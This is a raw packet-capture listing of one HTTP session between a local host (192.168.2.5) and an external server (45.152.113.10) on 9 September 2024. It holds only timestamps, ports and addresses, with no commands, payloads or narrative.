Sep 9, 2024 18:45:04.551235914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.551253080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.551261902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.551280975 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.551300049 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.551345110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.551361084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.551378965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.551409960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.551409960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.551423073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.551455021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.551470041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.551498890 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.551518917 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.551521063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.551532030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.551547050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.551563025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.551563978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.551579952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.551588058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.551606894 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.551625013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.579459906 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.579478979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.579494953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.579511881 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.579523087 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.579529047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.579550028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.579551935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.579569101 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.579569101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.579582930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.579586029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.579597950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.579615116 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.579633951 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.580671072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.580722094 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.580739975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.580754995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.580790043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.580796957 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.580796957 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.580806971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.580830097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.580832958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.580842972 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.580849886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.580873013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.580890894 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.580926895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.580941916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.580955982 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.580971956 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.580990076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.580996037 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.581017971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.581070900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.581087112 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.581110954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.581115007 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.581161976 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.581217051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.581233978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.581252098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.581259012 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.581269026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.581279039 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.581296921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.581321001 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.581465006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.581480980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.581496954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.581507921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.581527948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.581540108 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.581540108 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.581557989 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.581584930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.581650019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.581758022 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.581773996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.581789970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.581799984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.581806898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.581818104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.581824064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.581825018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.581847906 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.581871033 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.582132101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.582148075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.582163095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.582190990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.582201004 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.582207918 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.582217932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.582237005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.582241058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.582252979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.582283974 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.582283974 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.582295895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.582359076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.582376003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.582401991 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.582417011 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.582417965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.582434893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.582449913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.582462072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.582465887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.582482100 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.582483053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.582494974 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.582499981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.582515955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.582515955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.582535982 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.582555056 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.582731009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.582779884 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.582819939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.582838058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.582853079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.582865000 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.582869053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.582875967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.582891941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.582902908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.582925081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.582931042 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.637213945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.637265921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.637281895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.637295961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.637339115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.637339115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.637381077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.637398958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.637413979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.637429953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.637444973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.637453079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.637466908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.637476921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.637500048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.639830112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.639880896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.639884949 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.639903069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.639925003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.639938116 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.640007973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.640023947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.640041113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.640055895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.640058041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.640070915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.640089989 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.640106916 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.641305923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.641345978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.641362906 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.641400099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.641403913 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.641416073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.641416073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.641446114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.641463041 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.641506910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.641524076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.641539097 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.641566038 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.641578913 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.641645908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.641665936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.641671896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.641676903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.641694069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.641710043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.641710997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.641725063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.641747952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.641757965 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.645282030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.645302057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.645317078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.645338058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.645354033 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.645418882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.645446062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.645462036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.645473957 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.645502090 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.645514965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.645531893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.645549059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.645572901 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.645572901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.645581961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.645591021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.645605087 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.645611048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.645620108 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.645638943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.645659924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.645816088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.645833969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.645850897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.645876884 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.645889997 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.645916939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.645935059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.645950079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.645978928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.645984888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.645988941 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.646013021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.646039009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.646055937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.646075010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.646083117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.646091938 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.646112919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.646126032 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.646130085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.646157026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.646172047 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.646192074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.646213055 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.646243095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.646255970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.646256924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.646289110 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.672184944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.672233105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.672250032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.672293901 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.672317982 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.672326088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.672342062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.672358036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.672374964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.672389030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.672403097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.672421932 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.673343897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.673393965 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.673413992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.673430920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.673475027 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.673511028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.673527956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.673542976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.673558950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.673572063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.673595905 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.673609018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.673686028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.673723936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.673737049 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.673742056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.673784971 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.673849106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.673865080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.673882961 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.673899889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.673908949 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.673933983 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.673952103 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.673976898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.674014091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.674029112 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.674031019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.674047947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.674057961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.674063921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.674076080 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.674088955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.674105883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.674154997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.674170971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.674185991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.674200058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.674201012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.674216986 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.674218893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.674227953 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.674236059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.674247026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.674262047 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.674279928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.732765913 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.738195896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.869786978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.869818926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.869837046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.869853020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.869858980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.869889021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.869894028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.869894028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.869905949 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.869906902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.869937897 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.869946003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.869957924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.869962931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.869996071 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.870002031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.870011091 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.870018959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.870035887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.870053053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.870064020 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.870079041 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.870095968 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.870341063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.870528936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.870539904 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.870547056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.870573044 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.870587111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.870784998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.870800972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.870816946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.870831966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.870855093 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.870876074 CEST	49707	80	192.168.2.5	45.152.113.10
